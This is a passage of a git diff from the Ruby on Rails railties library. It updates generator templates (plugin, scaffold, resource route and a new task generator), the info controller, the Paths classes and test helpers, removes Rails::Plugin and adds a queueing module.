   rdoc.rdoc_files.include('lib/**/*.rb')
 end
 
-<% if full? && !options[:skip_active_record] -%>
+<% if full? && !options[:skip_active_record] && !options[:skip_test_unit] -%>
 APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__)
 load 'rails/tasks/engine.rake'
 <% end %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
index 01550dec2f..bd983fb90f 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
@@ -2,7 +2,7 @@
 <html>
 <head>
   <title><%= camelized %></title>
-  <%%= stylesheet_link_tag    "<%= name %>/application" %>
+  <%%= stylesheet_link_tag    "<%= name %>/application", :media => "all" %>
   <%%= javascript_include_tag "<%= name %>/application" %>
   <%%= csrf_meta_tags %>
 </head>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
index 1463de6dfb..086d87818a 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
@@ -1,6 +1,10 @@
 .bundle/
 log/*.log
 pkg/
-test/dummy/db/*.sqlite3
-test/dummy/log/*.log
-test/dummy/tmp/
\ No newline at end of file
+<% unless options[:skip_test_unit] && options[:dummy_path] == 'test/dummy' -%>
+<%= dummy_path %>/db/*.sqlite3
+<%= dummy_path %>/db/*.sqlite3-journal
+<%= dummy_path %>/log/*.log
+<%= dummy_path %>/tmp/
+<%= dummy_path %>/.sass-cache
+<% end -%>
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
index 996ea79e67..2f9b7fc962 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
@@ -7,8 +7,7 @@ require 'rails/all'
 <%= comment_if :skip_active_record %>require "active_record/railtie"
 require "action_controller/railtie"
 require "action_mailer/railtie"
-require "active_resource/railtie"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/rails/railtie"
 <%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
 <% end -%>
 
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
index eba0681370..c78bfb7f63 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
@@ -1,4 +1,3 @@
-require 'rubygems'
 gemfile = File.expand_path('../../../../Gemfile', __FILE__)
 
 if File.exist?(gemfile)
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
index dcd3b276e3..1e26a313cd 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
@@ -8,3 +8,8 @@ Rails.backtrace_cleaner.remove_silencers!
 
 # Load support files
 Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each { |f| require f }
+
+# Load fixtures from the engine
+if ActiveSupport::TestCase.method_defined?(:fixture_path=)
+  ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__)
+end
diff --git a/railties/lib/rails/generators/rails/resource/resource_generator.rb b/railties/lib/rails/generators/rails/resource/resource_generator.rb
index c7345f3cfb..3a0586ee43 100644
--- a/railties/lib/rails/generators/rails/resource/resource_generator.rb
+++ b/railties/lib/rails/generators/rails/resource/resource_generator.rb
@@ -14,13 +14,7 @@ module Rails
       class_option :actions, :type => :array, :banner => "ACTION ACTION", :default => [],
                              :desc => "Actions for the resource controller"
 
-      def add_resource_route
-        return if options[:actions].present?
-        route_config =  regular_class_path.collect{|namespace| "namespace :#{namespace} do " }.join(" ")
-        route_config << "resources :#{file_name.pluralize}"
-        route_config << " end" * regular_class_path.size
-        route route_config
-      end
+      hook_for :resource_route, :required => true
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
new file mode 100644
index 0000000000..6a5d62803c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -0,0 +1,13 @@
+module Rails
+  module Generators
+    class ResourceRouteGenerator < NamedBase
+      def add_resource_route
+        return if options[:actions].present?
+        route_config =  regular_class_path.collect{ |namespace| "namespace :#{namespace} do " }.join(" ")
+        route_config << "resources :#{file_name.pluralize}"
+        route_config << " end" * regular_class_path.size
+        route route_config
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE
index be1d113ed8..4a3eb2c7c7 100644
--- a/railties/lib/rails/generators/rails/scaffold/USAGE
+++ b/railties/lib/rails/generators/rails/scaffold/USAGE
@@ -7,23 +7,29 @@ Description:
     under_scored, as the first argument, and an optional list of attribute
     pairs.
 
-    Attribute pairs are field:type arguments specifying the
-    model's attributes. Timestamps are added by default, so you don't have to
-    specify them by hand as 'created_at:datetime updated_at:datetime'.
+    Attributes are field arguments specifying the model's attributes. You can
+    optionally pass the type and an index to each field. For instance:
+    "title body:text tracking_id:integer:uniq" will generate a title field of
+    string type, a body with text type and a tracking_id as an integer with an
+    unique index. "index" could also be given instead of "uniq" if one desires
+    a non unique index.
+
+    Timestamps are added by default, so you don't have to specify them by hand
+    as 'created_at:datetime updated_at:datetime'.
 
     You don't have to think up every attribute up front, but it helps to
     sketch out a few so you can start working with the resource immediately.
 
-    For example, 'scaffold post title:string body:text published:boolean'
-    gives you a model with those three attributes, a controller that handles
+    For example, 'scaffold post title body:text published:boolean' gives
+    you a model with those three attributes, a controller that handles
     the create/show/update/destroy, forms to create and edit your posts, and
-    an index that lists them all, as well as a resources :posts
-    declaration in config/routes.rb.
+    an index that lists them all, as well as a resources :posts declaration
+    in config/routes.rb.
 
     If you want to remove all the generated files, run
     'rails destroy scaffold ModelName'.
 
 Examples:
     `rails generate scaffold post`
-    `rails generate scaffold post title:string body:text published:boolean`
-    `rails generate scaffold purchase order_id:integer amount:decimal`
+    `rails generate scaffold post title body:text published:boolean`
+    `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/USAGE b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
index 673f69bc81..5cd51b62d4 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/USAGE
+++ b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
@@ -1,8 +1,7 @@
 Description:
-    Stubs out a scaffolded controller and its views. Pass the model name,
-    either CamelCased or under_scored, and a list of views as arguments.
-    The controller name is retrieved as a pluralized version of the model
-    name.
+    Stubs out a scaffolded controller, its seven RESTful actions and related
+    views. Pass the model name, either CamelCased or under_scored. The
+    controller name is retrieved as a pluralized version of the model name.
 
     To create a controller within a module, specify the model name as a
     path like 'parent_module/controller_name'.
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index 2271c6f9c1..0618b16984 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -11,7 +11,7 @@ module Rails
                          :desc => "ORM to generate the controller for"
 
       def create_controller_files
-        template 'controller.rb', File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
+        template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
       end
 
       hook_for :template_engine, :test_framework, :as => :scaffold
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index 4ff15fd288..b3e74f9b02 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -1,3 +1,7 @@
+<% if namespaced? -%>
+require_dependency "<%= namespaced_file_path %>/application_controller"
+
+<% end -%>
 <% module_namespacing do -%>
 class <%= controller_class_name %>Controller < ApplicationController
   # GET <%= route_url %>
@@ -7,7 +11,7 @@ class <%= controller_class_name %>Controller < ApplicationController
 
     respond_to do |format|
       format.html # index.html.erb
-      format.json { render <%= key_value :json, "@#{plural_table_name}" %> }
+      format.json { render json: <%= "@#{plural_table_name}" %> }
     end
   end
 
@@ -18,7 +22,7 @@ class <%= controller_class_name %>Controller < ApplicationController
 
     respond_to do |format|
       format.html # show.html.erb
-      format.json { render <%= key_value :json, "@#{singular_table_name}" %> }
+      format.json { render json: <%= "@#{singular_table_name}" %> }
     end
   end
 
@@ -29,7 +33,7 @@ class <%= controller_class_name %>Controller < ApplicationController
 
     respond_to do |format|
       format.html # new.html.erb
-      format.json { render <%= key_value :json, "@#{singular_table_name}" %> }
+      format.json { render json: <%= "@#{singular_table_name}" %> }
     end
   end
 
@@ -45,27 +49,27 @@ class <%= controller_class_name %>Controller < ApplicationController
 
     respond_to do |format|
       if @<%= orm_instance.save %>
-        format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully created.'" %> }
-        format.json { render <%= key_value :json, "@#{singular_table_name}" %>, <%= key_value :status, ':created' %>, <%= key_value :location, "@#{singular_table_name}" %> }
+        format.html { redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %> }
+        format.json { render json: <%= "@#{singular_table_name}" %>, status: :created, location: <%= "@#{singular_table_name}" %> }
       else
-        format.html { render <%= key_value :action, '"new"' %> }
-        format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> }
+        format.html { render action: "new" }
+        format.json { render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity }
       end
     end
   end
 
-  # PUT <%= route_url %>/1
-  # PUT <%= route_url %>/1.json
+  # PATCH/PUT <%= route_url %>/1
+  # PATCH/PUT <%= route_url %>/1.json
   def update
     @<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
 
     respond_to do |format|
       if @<%= orm_instance.update_attributes("params[:#{singular_table_name}]") %>
-        format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully updated.'" %> }
+        format.html { redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %> }
         format.json { head :no_content }
       else
-        format.html { render <%= key_value :action, '"edit"' %> }
-        format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> }
+        format.html { render action: "edit" }
+        format.json { render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity }
       end
     end
   end
diff --git a/railties/lib/rails/generators/rails/task/USAGE b/railties/lib/rails/generators/rails/task/USAGE
new file mode 100644
index 0000000000..dbe9bbaf08
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/USAGE
@@ -0,0 +1,9 @@
+Description:
+    Stubs out a new Rake task. Pass the namespace name, and a list of tasks as arguments.
+
+    This generates a task file in lib/tasks.
+
+Example:
+    `rails generate task feeds fetch erase add`
+
+        Task:      lib/tasks/feeds.rake
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/task/task_generator.rb b/railties/lib/rails/generators/rails/task/task_generator.rb
new file mode 100644
index 0000000000..8a62d9e8eb
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/task_generator.rb
@@ -0,0 +1,12 @@
+module Rails
+  module Generators
+    class TaskGenerator < NamedBase
+      argument :actions, :type => :array, :default => [], :banner => "action action"
+
+      def create_task_files
+        template 'task.rb', File.join('lib/tasks', "#{file_name}.rake")
+      end
+
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/task/templates/task.rb b/railties/lib/rails/generators/rails/task/templates/task.rb
new file mode 100644
index 0000000000..b7407bd6dc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/templates/task.rb
@@ -0,0 +1,8 @@
+namespace :<%= file_name %> do
+<% actions.each do |action| -%>
+  desc "TODO"
+  task :<%= action %> => :environment do
+  end
+
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index b34bc4a524..48833869e5 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -50,7 +50,7 @@ module Rails
         end
 
         def controller_i18n_scope
-          @controller_i18n_scope ||= controller_file_path.gsub('/', '.')
+          @controller_i18n_scope ||= controller_file_path.tr('/', '.')
         end
 
         # Loads the ORM::Generators::ActiveModel class. This class is responsible
@@ -64,7 +64,7 @@ module Rails
             end
 
             begin
-              "#{options[:orm].to_s.classify}::Generators::ActiveModel".constantize
+              "#{options[:orm].to_s.camelize}::Generators::ActiveModel".constantize
             rescue NameError
               Rails::Generators::ActiveModel
             end
@@ -73,7 +73,7 @@ module Rails
 
         # Initialize ORM::Generators::ActiveModel to access instance methods.
         def orm_instance(name=singular_table_name)
-          @orm_instance ||= @orm_class.new(name)
+          @orm_instance ||= orm_class.new(name)
         end
     end
   end
diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb
index 7319fb79f6..2ff340755a 100644
--- a/railties/lib/rails/generators/test_case.rb
+++ b/railties/lib/rails/generators/test_case.rb
@@ -31,15 +31,22 @@ module Rails
       include FileUtils
 
       class_attribute :destination_root, :current_path, :generator_class, :default_arguments
-      delegate :destination_root, :current_path, :generator_class, :default_arguments, :to => :'self.class'
 
       # Generators frequently change the current path using +FileUtils.cd+.
       # So we need to store the path at file load and revert back to it after each test.
       self.current_path = File.expand_path(Dir.pwd)
       self.default_arguments = []
 
-      setup :destination_root_is_set?, :ensure_current_path
-      teardown :ensure_current_path
+      def setup
+        destination_root_is_set?
+        ensure_current_path
+        super
+      end
+
+      def teardown
+        ensure_current_path
+        super
+      end
 
       # Sets which generator should be tested:
       #
@@ -79,8 +86,8 @@ module Rails
       #
       # Finally, when a block is given, it yields the file content:
       #
-      #   assert_file "app/controller/products_controller.rb" do |controller|
-      #     assert_instance_method :index, content do |index|
+      #   assert_file "app/controllers/products_controller.rb" do |controller|
+      #     assert_instance_method :index, controller do |index|
       #       assert_match(/Product\.all/, index)
       #     end
       #   end
@@ -135,7 +142,7 @@ module Rails
       # Asserts a given migration does not exist. You need to supply an absolute path or a
       # path relative to the configured destination:
       #
-      #   assert_no_file "config/random.rb"
+      #   assert_no_migration "db/migrate/create_products.rb"
       #
       def assert_no_migration(relative)
         file_name = migration_file_name(relative)
@@ -159,8 +166,8 @@ module Rails
       # Asserts the given method exists in the given content. When a block is given,
       # it yields the content of the method.
       #
-      #   assert_file "app/controller/products_controller.rb" do |controller|
-      #     assert_instance_method :index, content do |index|
+      #   assert_file "app/controllers/products_controller.rb" do |controller|
+      #     assert_instance_method :index, controller do |index|
       #       assert_match(/Product\.all/, index)
       #     end
       #   end
@@ -182,7 +189,7 @@ module Rails
 
       # Asserts the given attribute type gets a proper default value:
       #
-      #   assert_field_type :string, "MyString"
+      #   assert_field_default_value :string, "MyString"
       #
       def assert_field_default_value(attribute_type, value)
         assert_equal(value, create_generated_attribute(attribute_type).default)
@@ -218,8 +225,8 @@ module Rails
       #
       #   create_generated_attribute(:string, 'name')
       #
-      def create_generated_attribute(attribute_type, name = 'test')
-        Rails::Generators::GeneratedAttribute.new(name, attribute_type.to_s)
+      def create_generated_attribute(attribute_type, name = 'test', index = nil)
+        Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(':'))
       end
 
       protected
diff --git a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
index d296b26b16..2f25dcf832 100644
--- a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
+++ b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
@@ -3,10 +3,10 @@ require 'rails/performance_test_help'
 
 class <%= class_name %>Test < ActionDispatch::PerformanceTest
   # Refer to the documentation for all available options
-  # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory]
+  # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory],
   #                          :output => 'tmp/performance', :formats => [:flat] }
 
-  def test_homepage
+  test "homepage" do
     get '/'
   end
 end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
index 2ca36a1e44..c9af2ca832 100644
--- a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
+++ b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
@@ -1,3 +1,2 @@
-require 'rubygems'
-require 'test/unit'
+require 'minitest/autorun'
 require 'active_support'
diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
index f7e907a017..ca7fee3b6e 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
@@ -8,10 +8,27 @@ module TestUnit
 
       check_class_collision :suffix => "ControllerTest"
 
+      argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+
       def create_test_files
-        template 'functional_test.rb',
-                 File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb")
+        template "functional_test.rb",
+                 File.join("test/functional", controller_class_path, "#{controller_file_name}_controller_test.rb")
       end
+
+      private
+
+        def attributes_hash
+          return if accessible_attributes.empty?
+
+          accessible_attributes.map do |a|
+            name = a.name
+            "#{name}: @#{singular_table_name}.#{name}"
+          end.sort.join(', ')
+        end
+
+        def accessible_attributes
+          attributes.reject(&:reference?)
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
index 9ec2e34545..30e1650555 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
@@ -19,30 +19,30 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase
 
   test "should create <%= singular_table_name %>" do
     assert_difference('<%= class_name %>.count') do
-      post :create, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %>
+      post :create, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
     end
 
     assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
   end
 
   test "should show <%= singular_table_name %>" do
-    get :show, <%= key_value :id, "@#{singular_table_name}" %>
+    get :show, id: <%= "@#{singular_table_name}" %>
     assert_response :success
   end
 
   test "should get edit" do
-    get :edit, <%= key_value :id, "@#{singular_table_name}" %>
+    get :edit, id: <%= "@#{singular_table_name}" %>
     assert_response :success
   end
 
   test "should update <%= singular_table_name %>" do
-    put :update, <%= key_value :id, "@#{singular_table_name}" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %>
+    put :update, id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
     assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
   end
 
   test "should destroy <%= singular_table_name %>" do
     assert_difference('<%= class_name %>.count', -1) do
-      delete :destroy, <%= key_value :id, "@#{singular_table_name}" %>
+      delete :destroy, id: <%= "@#{singular_table_name}" %>
     end
 
     assert_redirected_to <%= index_helper %>_path
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
index a1e15092b2..aacc1be2fc 100644
--- a/railties/lib/rails/info.rb
+++ b/railties/lib/rails/info.rb
@@ -23,7 +23,7 @@ module Rails
       end
 
       def frameworks
-        %w( active_record action_pack active_resource action_mailer active_support )
+        %w( active_record action_pack action_mailer active_support )
       end
 
       def framework_version(framework)
@@ -83,7 +83,7 @@ module Rails
     end
 
     # Versions of each Rails framework (Active Record, Action Pack,
-    # Active Resource, Action Mailer, and Active Support).
+    # Action Mailer, and Active Support).
     frameworks.each do |framework|
       property "#{framework.titlecase} version" do
         framework_version(framework)
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
index 6b4bdb2921..512803aeac 100644
--- a/railties/lib/rails/info_controller.rb
+++ b/railties/lib/rails/info_controller.rb
@@ -1,15 +1,33 @@
+require 'action_dispatch/routing/inspector'
+
 class Rails::InfoController < ActionController::Base
+  self.view_paths = File.join(File.dirname(__FILE__), 'templates')
+  layout 'application'
+
+  before_filter :require_local!
+
+  def index
+    redirect_to '/rails/info/routes'
+  end
+
   def properties
-    if consider_all_requests_local? || request.local?
-      render :inline => Rails::Info.to_html
-    else
-      render :text => '<p>For security purposes, this information is only available to local requests.</p>', :status => :forbidden
-    end
+    @info = Rails::Info.to_html
+  end
+
+  def routes
+    inspector = ActionDispatch::Routing::RoutesInspector.new
+    @info     = inspector.format(_routes.routes).join("\n")
   end
 
   protected
 
-  def consider_all_requests_local?
-    Rails.application.config.consider_all_requests_local
+  def require_local!
+    unless local_request?
+      render :text => '<p>For security purposes, this information is only available to local requests.</p>', :status => :forbidden
+    end
+  end
+
+  def local_request?
+    Rails.application.config.consider_all_requests_local || request.local?
   end
 end
diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb
index 04d5b55c69..1a0b6d1e1a 100644
--- a/railties/lib/rails/initializable.rb
+++ b/railties/lib/rails/initializable.rb
@@ -2,7 +2,7 @@ require 'tsort'
 
 module Rails
   module Initializable
-    def self.included(base)
+    def self.included(base) #:nodoc:
       base.extend ClassMethods
     end
 
@@ -51,7 +51,7 @@ module Rails
 
     def run_initializers(group=:default, *args)
       return if instance_variable_defined?(:@ran)
-      initializers.tsort.each do |initializer|
+      initializers.tsort_each do |initializer|
         initializer.run(*args) if initializer.belongs_to?(group)
       end
       @ran = true
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index b37421c09c..3c2210aaf9 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -1,5 +1,3 @@
-require 'set'
-
 module Rails
   module Paths
     # This object is an extended hash that behaves as root of the <tt>Rails::Paths</tt> system.
@@ -10,19 +8,19 @@ module Rails
     #   root.add "app/controllers", :eager_load => true
     #
     # The command above creates a new root object and add "app/controllers" as a path.
-    # This means we can get a +Rails::Paths::Path+ object back like below:
+    # This means we can get a <tt>Rails::Paths::Path</tt> object back like below:
     #
     #   path = root["app/controllers"]
     #   path.eager_load?               # => true
     #   path.is_a?(Rails::Paths::Path) # => true
     #
-    # The +Path+ object is simply an array and allows you to easily add extra paths:
+    # The +Path+ object is simply an enumerable and allows you to easily add extra paths:
     #
-    #   path.is_a?(Array) # => true
-    #   path.inspect      # => ["app/controllers"]
+    #   path.is_a?(Enumerable) # => true
+    #   path.to_ary.inspect    # => ["app/controllers"]
     #
     #   path << "lib/controllers"
-    #   path.inspect      # => ["app/controllers", "lib/controllers"]
+    #   path.to_ary.inspect    # => ["app/controllers", "lib/controllers"]
     #
     # Notice that when you add a path using +add+, the path object created already
     # contains the path with the same path value given to +add+. In some situations,
@@ -43,25 +41,39 @@ module Rails
     #   root["app/controllers"].existent # => ["/rails/app/controllers"]
     #
     # Check the <tt>Rails::Paths::Path</tt> documentation for more information.
-    class Root < ::Hash
+    class Root
       attr_accessor :path
 
       def initialize(path)
-        raise "Argument should be a String of the physical root path" if path.is_a?(Array)
         @current = nil
         @path = path
-        @root = self
-        super()
+        @root = {}
       end
 
       def []=(path, value)
-        value = Path.new(self, path, value) unless value.is_a?(Path)
-        super(path, value)
+        glob = self[path] ? self[path].glob : nil
+        add(path, :with => value, :glob => glob)
       end
 
       def add(path, options={})
         with = options[:with] || path
-        self[path] = Path.new(self, path, with, options)
+        @root[path] = Path.new(self, path, [with].flatten, options)
+      end
+
+      def [](path)
+        @root[path]
+      end
+
+      def values
+        @root.values
+      end
+
+      def keys
+        @root.keys
+      end
+
+      def values_at(*list)
+        @root.values_at(*list)
       end
 
       def all_paths
@@ -100,14 +112,14 @@ module Rails
       end
     end
 
-    class Path < Array
+    class Path
+      include Enumerable
+
       attr_reader :path
       attr_accessor :glob
 
-      def initialize(root, current, *paths)
-        options = paths.last.is_a?(::Hash) ? paths.pop : {}
-        super(paths.flatten)
-
+      def initialize(root, current, paths, options = {})
+        @paths    = paths
         @current  = current
         @root     = root
         @glob     = options[:glob]
@@ -148,6 +160,27 @@ module Rails
         RUBY
       end
 
+      def each(&block)
+        @paths.each(&block)
+      end
+
+      def <<(path)
+        @paths << path
+      end
+      alias :push :<<
+
+      def concat(paths)
+        @paths.concat paths
+      end
+
+      def unshift(path)
+        @paths.unshift path
+      end
+
+      def to_ary
+        @paths
+      end
+
       # Expands all paths against the root and return all unique values.
       def expanded
         raise "You need to set a path root" unless @root.path
@@ -156,8 +189,10 @@ module Rails
         each do |p|
           path = File.expand_path(p, @root.path)
 
-          if @glob
-            result.concat Dir[File.join(path, @glob)].sort
+          if @glob && File.directory?(path)
+            result.concat Dir.chdir(path) {
+              Dir.glob(@glob).map { |file| File.join path, file }.sort
+            }
           else
             result << path
           end
diff --git a/railties/lib/rails/performance_test_help.rb b/railties/lib/rails/performance_test_help.rb
index 4ac38981d0..b1285efde2 100644
--- a/railties/lib/rails/performance_test_help.rb
+++ b/railties/lib/rails/performance_test_help.rb
@@ -1,3 +1,3 @@
 ActionController::Base.perform_caching = true
 ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
+Rails.logger.level = ActiveSupport::Logger::INFO
diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb
deleted file mode 100644
index 3e27688bb9..0000000000
--- a/railties/lib/rails/plugin.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-require 'rails/engine'
-require 'active_support/core_ext/array/conversions'
-
-module Rails
-  # Rails::Plugin is nothing more than a Rails::Engine, but since it's loaded too late
-  # in the boot process, it does not have the same configuration powers as a bare
-  # Rails::Engine.
-  #
-  # Opposite to Rails::Railtie and Rails::Engine, you are not supposed to inherit from
-  # Rails::Plugin. Rails::Plugin is automatically configured to be an engine by simply
-  # placing inside vendor/plugins. Since this is done automatically, you actually cannot
-  # declare a Rails::Engine inside your Plugin, otherwise it would cause the same files
-  # to be loaded twice. This means that if you want to ship an Engine as gem it cannot
-  # be used as plugin and vice-versa.
-  #
-  # Besides this conceptual difference, the only difference between Rails::Engine and
-  # Rails::Plugin is that plugins automatically load the file "init.rb" at the plugin
-  # root during the boot process.
-  #
-  class Plugin < Engine
-    def self.global_plugins
-      @global_plugins ||= []
-    end
-
-    def self.inherited(base)
-      raise "You cannot inherit from Rails::Plugin"
-    end
-
-    def self.all(list, paths)
-      plugins = []
-      paths.each do |path|
-        Dir["#{path}/*"].each do |plugin_path|
-          plugin = new(plugin_path)
-          next unless list.include?(plugin.name) || list.include?(:all)
-          if global_plugins.include?(plugin.name)
-            warn "WARNING: plugin #{plugin.name} from #{path} was not loaded. Plugin with the same name has been already loaded."
-            next
-          end
-          global_plugins << plugin.name
-          plugins << plugin
-        end
-      end
-
-      plugins.sort_by do |p|
-        [list.index(p.name) || list.index(:all), p.name.to_s]
-      end
-    end
-
-    attr_reader :name, :path
-
-    def railtie_name
-      name.to_s
-    end
-
-    def initialize(root)
-      @name = File.basename(root).to_sym
-      config.root = root
-    end
-
-    def config
-      @config ||= Engine::Configuration.new
-    end
-
-    initializer :handle_lib_autoload, :before => :set_load_path do |app|
-      autoload = if app.config.reload_plugins
-        config.autoload_paths
-      else
-        config.autoload_once_paths
-      end
-
-      autoload.concat paths["lib"].existent
-    end
-
-    initializer :load_init_rb, :before => :load_config_initializers do |app|
-      init_rb = File.expand_path("init.rb", root)
-      if File.file?(init_rb)
-        # This double assignment is to prevent an "unused variable" warning on Ruby 1.9.3.
-        config = config = app.config
-        # TODO: think about evaling initrb in context of Engine (currently it's
-        # always evaled in context of Rails::Application)
-        eval(File.read(init_rb), binding, init_rb)
-      end
-    end
-
-    initializer :sanity_check_railties_collision do
-      if Engine.subclasses.map { |k| k.root.to_s }.include?(root.to_s)
-        raise "\"#{name}\" is a Railtie/Engine and cannot be installed as a plugin"
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/queueing.rb b/railties/lib/rails/queueing.rb
new file mode 100644
index 0000000000..baf6811d3e
--- /dev/null
+++ b/railties/lib/rails/queueing.rb
@@ -0,0 +1,107 @@
+require "thread"
+require 'delegate'
+
+module Rails
+  module Queueing
+    # A container for multiple queues. This class delegates to a default Queue
+    # so that <tt>Rails.queue.push</tt> and friends will Just Work. To use this class
+    # with multiple queues:
+    #
+    #   # In your configuration:
+    #   Rails.queue[:image_queue] = SomeQueue.new
+    #   Rails.queue[:mail_queue]  = SomeQueue.new
+    #
+    #   # In your app code:
+    #   Rails.queue[:mail_queue].push SomeJob.new
+    #
+    class Container < DelegateClass(::Queue)
+      def initialize(default_queue)
+        @queues = { :default => default_queue }
+        super(default_queue)
+      end
+
+      def [](queue_name)
+        @queues[queue_name]
+      end
+
+      def []=(queue_name, queue)
+        @queues[queue_name] = queue
+      end
+    end
+
